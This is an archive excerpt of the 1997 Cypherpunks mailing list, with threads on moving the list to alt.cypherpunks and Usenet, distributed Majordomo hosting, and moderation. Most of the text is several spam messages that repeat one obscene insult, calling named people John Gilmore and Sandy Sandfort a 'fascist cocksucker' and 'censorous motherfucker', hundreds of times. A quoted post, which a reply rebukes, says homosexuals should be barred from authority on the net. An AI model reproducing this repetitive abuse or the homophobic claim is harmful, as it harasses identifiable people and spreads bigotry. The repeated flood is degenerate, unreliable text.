EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 07:11:00 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702121517.JAA01295@einstein> Forwarded message: > Date: Tue, 11 Feb 1997 13:09:22 -0800 > From: Greg Broiles > Subject: Network of majordomos > > I still think you're just rediscovering Usenet technology. Instead of > installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if > you don't like alt.cypherpunks, you could simply start your own top-level > cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're > an evil CIA brain-stealing censor) so that cpunks at large could connect with > newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks > could do this (instead of using Majordomo) locally, connecting to each other > to achieve wide propagation and low latency. > > And, if you must, run mail-to-news gateway(s) which send the newsgroup to > people who want it as E-mail. > > Usenet technology does exactly what you're describing: it's a distributed > database of messages designed to facilitate each server getting its own copy > of every message, and holding it locally for distribution to interested > readers. Other people have been kind enough to write, debug, and document the > software - all you have to do is install it. This could be running tonight. Did you get it running last nite Greg? When do you expect to be able to handle traffic? Jim Choate CyberTects ravage at ssz.com From ravage at EINSTEIN.ssz.com Wed Feb 12 07:17:30 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 07:17:30 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" (fwd) Message-ID: <199702121523.JAA01309@einstein> Forwarded message: > Date: Tue, 11 Feb 1997 11:48:05 -0800 > From: "Timothy C. May" > Subject: Re: Recommendation: Creation of "alt.cypherpunks" > Since posting my comments I've just seen the proposal that tivoli may host > a list. Fine with me. But I wonder how long Tivoli and its parent company, > IBM, will tolerate such things as postings of dumpster divings at Mykotronx > and RSADSI, of deliberate slams against Tivoli products (a la the case John > Gilmore referred to this morning), postings about assassination markets, > and so on. Whoah Nelly. Tivoli - IBM has NOTHING to do with either my actions or those of anyone else involved in this. Where exactly did you get this information? It certainly hasn't come across any cpunks postings that I have seen. Check your facts bud. Jim Choate CyberTects (not Tivoli -IBM) ravage at ssz.com From ravage at EINSTEIN.ssz.com Wed Feb 12 07:56:22 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 07:56:22 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702121556.HAA22325@toad.com> Forwarded message: > Date: Tue, 11 Feb 1997 13:09:22 -0800 > From: Greg Broiles > Subject: Network of majordomos > > I still think you're just rediscovering Usenet technology. Instead of > installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if > you don't like alt.cypherpunks, you could simply start your own top-level > cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're > an evil CIA brain-stealing censor) so that cpunks at large could connect with > newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks > could do this (instead of using Majordomo) locally, connecting to each other > to achieve wide propagation and low latency. > > And, if you must, run mail-to-news gateway(s) which send the newsgroup to > people who want it as E-mail. > > Usenet technology does exactly what you're describing: it's a distributed > database of messages designed to facilitate each server getting its own copy > of every message, and holding it locally for distribution to interested > readers. Other people have been kind enough to write, debug, and document the > software - all you have to do is install it. This could be running tonight. Did you get it running last nite Greg? When do you expect to be able to handle traffic? Jim Choate CyberTects ravage at ssz.com From dthorn at gte.net Wed Feb 12 07:58:03 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 07:58:03 -0800 (PST) Subject: Germany Versus Scientology Message-ID: <199702121558.HAA22359@toad.com> Jeremiah A Blatz wrote: > Evil se7en writes: > > I have posted a rather lengthy story about Germany's war against the > > Scientologists. It was long enough to preclude mailing it directly to the > > lists, so I have put it on my web site. You may find it at: > Heh, the top German Gov't anti-$cientoligist: > "The state is obliged to protect its citizens from totalitarian > organizations." > I just love this whole thing. It's like two neighborhood bullies going > at it in the school yard. It doesn't matter who wins, as long as it's > long and bloody. If it were "just bullies", we could all sleep easier at night. Alas, this is the next-generation manifestation of the anti-anti- Holocaust laws that have been in place for 40-50 years in Germany. There must be other countries with strong legal traditions similar to this one. Makes the picture much more complex. And don't forget, the conditions of Scientology's new tax exempt status are still secret. From ravage at EINSTEIN.ssz.com Wed Feb 12 07:59:49 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 07:59:49 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" (fwd) Message-ID: <199702121559.HAA22376@toad.com> Forwarded message: > Date: Tue, 11 Feb 1997 11:48:05 -0800 > From: "Timothy C. May" > Subject: Re: Recommendation: Creation of "alt.cypherpunks" > Since posting my comments I've just seen the proposal that tivoli may host > a list. Fine with me. But I wonder how long Tivoli and its parent company, > IBM, will tolerate such things as postings of dumpster divings at Mykotronx > and RSADSI, of deliberate slams against Tivoli products (a la the case John > Gilmore referred to this morning), postings about assassination markets, > and so on. Whoah Nelly. Tivoli - IBM has NOTHING to do with either my actions or those of anyone else involved in this. Where exactly did you get this information? It certainly hasn't come across any cpunks postings that I have seen. Check your facts bud. Jim Choate CyberTects (not Tivoli -IBM) ravage at ssz.com From dthorn at gte.net Wed Feb 12 08:00:20 1997 From: dthorn at gte.net (Dale Thorn) Date: Wed, 12 Feb 1997 08:00:20 -0800 (PST) Subject: New group Message-ID: <199702121600.IAA22395@toad.com> Paul Bradley wrote: > Well despite the obvious problems of propogation I thought it was time > someone actually did something to get us a new home, even if it`s only > temporary. So I have created alt.cypherpunks... See you all over on > usenet!... I pressed the URL alt.cypherpunks and my Netscape server said "no such thing" or words to that effect. From shamrock at netcom.com Wed Feb 12 08:00:24 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 12 Feb 1997 08:00:24 -0800 (PST) Subject: whois cypherpunks.org ? Message-ID: <199702121600.IAA22396@toad.com> At 08:04 PM 2/11/97 -0500, John Young wrote: [Trying whois] Eric Hughes and John Gilmore are fouders of this list. Aleph1 is the moderator of the famous bugtraq mailing list. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From netsurf at pixi.com Wed Feb 12 08:14:20 1997 From: netsurf at pixi.com (NetSurfer) Date: Wed, 12 Feb 1997 08:14:20 -0800 (PST) Subject: Military/Intelligence URL Message-ID: <199702121614.GAA22546@mail.pixi.com> You can also get there with http://www.sagal.com/ajax/ which is the root frames page for the url you give below ---------- From: harka at nycmetro.com Here an page, that deals with various intelligence and military institutions... In> http://204.180.198.56:80/ajax/ajax.htm From pjb at 23kgroup.com Wed Feb 12 08:29:01 1997 From: pjb at 23kgroup.com (Paul J. Bell) Date: Wed, 12 Feb 1997 08:29:01 -0800 (PST) Subject: No Subject Message-ID: <9702121613.AA21509@23kgroup.com> Does anyone know if Dan Geer is still receiving e-mail at: geer at openvision.com ? Dan, are you? cheers, paul From antimod at nym.alias.net Wed Feb 12 08:51:58 1997 From: antimod at nym.alias.net (Against Moderation) Date: Wed, 12 Feb 1997 08:51:58 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: Message-ID: <19970212165137.12190.qmail@anon.lcs.mit.edu> aga writes: > Yes, and just why is Gilmore such a jerk? Could his homosexuality > have anything to do with it? Doubtful. Given the fact that gay people suffer a great deal of discrimination, they generally tend to be fairly open-minded. I see no reason to believe Gilmore is in fact gay, but if he is it in no way affects my opinion of him. > Maybe they just wanted you to leave, Gilmore. After all, your EFF has > ruined the reputation of the InterNet, and your homosexuality is a bad > sign. Homos should not be allowed to have any authority positions > anyplace on the net. Your bigotry seriously undermines the effectiveness of any anti-censorship arguments you make. Are you just trying to get everyone to hate those who oppose censorship on cypherpunks. Which side are you on anyway? From tcmay at got.net Wed Feb 12 09:02:19 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 09:02:19 -0800 (PST) Subject: List for discussing many majordomos In-Reply-To: <199702120059.SAA20410@manifold.algebra.com> Message-ID: At 10:46 PM -0800 2/11/97, Greg Broiles wrote: >At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote: > >>We can coordinate our efforts. Actually, we can even have a mini >>mailing list for people who want to participate in the distributed >>cypherpunks experiment. If there is any interest, I can create such >>a list. > >Yes, this is a good idea. One of the proponents of the "many majordomos" >project apparently has plans to impose his own ideas about intellectual >property on the project, and this seems like a pretty serious thing for a >setup that's allegedly going to prevent censorship. We need a place to >discuss this. I've noticed the same thing, and this is part of why I'm so skeptical of the "many majordomos" notion. Some of the proponents have their own notions of who is fit to be in their system, and which topics are appropriate. If alt.cypherpunks gets wide propagation, I expect that'll be where I post the bulk of my stuff. By the way, several people have stepped forward to offer to host "the list" (?) on their Linux boxes, or spare CPU cycles they have somewhere. It's important that such offers be weighed carefully in terms of how serious the commitment is, and how long the service might last. (For you old-timers, we wouldn't want to have a repeat of the situation where a remailer went down because "I took my laptop with me on vacation to Spain.") --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ac at twinds.com Wed Feb 12 09:31:13 1997 From: ac at twinds.com (Arley Carter) Date: Wed, 12 Feb 1997 09:31:13 -0800 (PST) Subject: alt.cypherpunks lives! was Re: New group In-Reply-To: <199702121443.GAA20454@toad.com> Message-ID: On Wed, 12 Feb 1997, Robert A. Hettinga wrote: > It seems this alt.cypherpunks thing was a lot easier than it looks. > > Either that, or I have a clueful newsadmin. :-) > The only clueful newsadmins are ex-newsadmins. :-) Cheers: -arc Arley Carter Tradewinds Technologies, Inc. Winston-Salem, NC USA email: ac at twinds.com www: http://www.twinds.com From paul at fatmans.demon.co.uk Wed Feb 12 10:04:17 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:04:17 -0800 (PST) Subject: New group Message-ID: <855767149.525716.0@fatmans.demon.co.uk> > Paul Bradley wrote: > > Well despite the obvious problems of propogation I thought it was time > > someone actually did something to get us a new home, even if it`s only > > temporary. So I have created alt.cypherpunks... See you all over on > > usenet!... > I pressed the URL alt.cypherpunks and my Netscape server said > "no such thing" or words to that effect. The control message may take a few more hours to propogate, either that or your newsadmin has rmgrouped it. The charter was clear and concise and explained the issues so I don`t see why it should have been rmgrouped. Can you mail me if it hasn`t been created by the time you get this email and I`ll re-issue the cmsg. However, I`m sure it was OK as Robert Hettinga (sp?) found it on his news server today... Seeya Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:13:21 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:13:21 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771078.522469.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:13:52 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:13:52 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771099.522654.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:15:02 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:15:02 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771015.521934.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:16:28 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:16:28 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770880.520804.0@fatmans.demon.co.uk> John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous 